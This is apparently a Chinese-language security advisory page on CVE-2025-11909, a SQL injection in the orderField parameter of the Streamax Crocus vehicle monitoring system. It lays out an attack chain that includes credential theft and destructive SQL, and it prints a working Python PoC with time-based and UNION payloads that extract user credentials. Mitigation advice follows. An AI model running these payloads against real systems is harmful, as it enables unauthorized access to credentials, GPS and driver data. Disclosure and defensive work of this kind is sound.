IPBUF安全漏洞报告
English
CVE-2025-11909 CVSS 6.3 中危

CVE-2025-11909:Streamax Crocus系统RepairRecord接口SQL注入漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-11909
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Shenzhen Ruiming Technology Streamax Crocus

相关标签

SQL注入Streamax Crocus深圳市锐明技术CVE-2025-11909车辆监控系统RepairRecordorderField参数中危漏洞CVSS 6.3PoC已公开

漏洞概述

CVE-2025-11909是深圳市锐明技术股份有限公司(Shenzhen Ruiming Technology)旗下Streamax Crocus车辆监控系统(版本1.3.40)中存在的一个SQL注入漏洞。该漏洞位于系统Web接口的/RepairRecord.do?Action=QueryLast端点中,具体涉及queryLast函数对orderField参数的处理逻辑存在缺陷。攻击者可以通过远程方式,在具备低权限认证的前提下,向该接口注入恶意的SQL语句片段,从而绕过应用层的安全防护机制,直接对后端数据库进行未授权操作。

该漏洞的CVSS 3.1评分为6.3分,属于中危级别。其CVSS向量为CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L,表明该漏洞可通过网络远程利用,攻击复杂度较低,仅需要低权限账户即可发起攻击,无需用户交互。漏洞对机密性、完整性和可用性均产生低程度的影响。

值得注意的是,该漏洞的PoC(概念验证代码)已经公开发布在GitHub上,任何具备基本攻击能力的攻击者都可以直接利用。此外,漏洞发现者([email protected])曾尝试联系厂商深圳市锐明技术股份有限公司进行修复确认,但厂商未作出任何回应,这进一步增加了该漏洞被实际利用的风险。该漏洞已于2025年10月17日正式披露。

技术细节

该漏洞的核心成因在于Streamax Crocus 1.3.40版本的RepairRecord模块中,queryLast函数在处理HTTP请求参数orderField时,未对该参数进行充分的输入验证和参数化处理,而是将其直接拼接到后端SQL查询语句中。

从技术层面分析,攻击者可以通过构造包含恶意SQL片段的orderField参数值(如'ORDER BY'子句注入或UNION SELECT语句),使数据库执行非预期的查询操作。由于该接口需要低权限认证即可访问(PR:L),攻击者只需获取一个普通用户账号即可实施攻击。

利用方式如下:
1. 攻击者首先通过合法途径或社会工程学手段获取Streamax Crocus系统的低权限账户凭证;
2. 登录系统后,构造针对/RepairRecord.do?Action=QueryLast接口的HTTP请求;
3. 在orderField参数中注入恶意SQL语句,例如:orderField=id;SELECT/**/SLEEP(5)-- 或利用UNION查询提取数据库中的敏感信息;
4. 由于参数未经过滤,恶意SQL语句被拼接到原始查询中执行;
5. 攻击者可通过时间盲注、布尔盲注或UNION联合查询等方式,逐步获取数据库中的管理员凭证、车辆信息、用户隐私数据等敏感内容。

该漏洞属于典型的基于ORDER BY子句的SQL注入,与传统WHERE子句注入相比,ORDER BY注入的利用面相对受限,但仍可造成数据泄露和潜在的数据库操控风险。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过Shodan、ZoomEye等网络空间搜索引擎定位暴露在公网的Streamax Crocus 1.3.40系统,并识别其Web管理接口。
STEP 2
步骤2:获取低权限凭证
攻击者通过社会工程学、凭证填充攻击或购买泄露数据库等方式,获取系统的低权限用户账号(PR:L权限要求)。
STEP 3
步骤3:登录认证
使用获取的低权限凭证登录Streamax Crocus系统,获取有效的会话Cookie。
STEP 4
步骤4:构造注入Payload
针对/RepairRecord.do?Action=QueryLast接口的orderField参数,构造SQL注入Payload,如时间盲注、布尔盲注或UNION联合查询语句。
STEP 5
步骤5:发起注入攻击
通过认证会话发送包含恶意orderField参数的HTTP请求,触发后端数据库执行未授权的SQL操作。
STEP 6
步骤6:数据提取与权限提升
利用SQL注入漏洞逐步提取数据库中的管理员凭证、车辆GPS轨迹、驾驶员信息等敏感数据,并可能通过数据库特性进一步提升权限。
STEP 7
步骤7:数据泄露或系统破坏
将窃取的敏感数据导出,或通过SQL注入执行DROP、DELETE等破坏性操作,影响系统可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11909 PoC - Streamax Crocus SQL Injection # Vulnerability: SQL Injection in /RepairRecord.do?Action=QueryLast (orderField parameter) # Author: FightingLzn9 import requests # Target configuration TARGET_URL = "http://target-host" LOGIN_URL = f"{TARGET_URL}/login.do" VULN_URL = f"{TARGET_URL}/RepairRecord.do?Action=QueryLast" # Low-privilege credentials (required for PR:L attack vector) USERNAME = "low_priv_user" PASSWORD = "password123" def exploit_sql_injection(): """ Exploit SQL injection via orderField parameter in queryLast function. Uses time-based blind injection to confirm vulnerability and extract data. """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_data = { "username": USERNAME, "password": PASSWORD } session.post(LOGIN_URL, data=login_data) # Step 2: Inject malicious SQL via orderField parameter # Time-based blind injection payload payload = "id;SELECT/**/SLEEP(5)--" inject_params = { "orderField": payload } # Step 3: Send malicious request response = session.get(VULN_URL, params=inject_params, timeout=15) if response.elapsed.total_seconds() >= 5: print("[+] Target is vulnerable to CVE-2025-11909!") print(f"[+] Response time: {response.elapsed.total_seconds()}s (delayed by SLEEP)") return True else: print("[-] Target does not appear vulnerable.") return False def extract_data(): """ Extract database information using UNION-based or boolean-based injection. """ session = requests.Session() session.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD}) # Boolean-based blind injection to extract table names payloads = [ "(SELECT/**/CASE/**/WHEN/**/(1=1)/**/THEN/**/1/**/ELSE/**/1/**/END)--", "id/**/AND/**/1=1--", "id/**/UNION/**/SELECT/**/NULL,username,password,NULL/**/FROM/**/users--" ] for payload in payloads: response = session.get(VULN_URL, params={"orderField": payload}) print(f"[*] Payload: {payload}") print(f"[*] Response length: {len(response.text)}") if __name__ == "__main__": if exploit_sql_injection(): extract_data()

影响范围

Shenzhen Ruiming Technology Streamax Crocus 1.3.40

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过WAF规则拦截针对/RepairRecord.do接口的orderField参数中包含SQL关键字(如SELECT、UNION、SLEEP、AND、OR等)的请求;2)在反向代理层面对orderField参数进行严格的字符白名单校验,仅允许字母、数字、下划线等安全字符;3)限制低权限账户对RepairRecord相关接口的访问权限;4)加强数据库账户权限管控,禁用应用账户执行高危SQL语句的能力;5)监控数据库慢查询日志,及时发现异常的SLEEP或UNION查询行为;6)将Streamax Crocus管理界面限制在内网访问,避免暴露在公网环境中。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表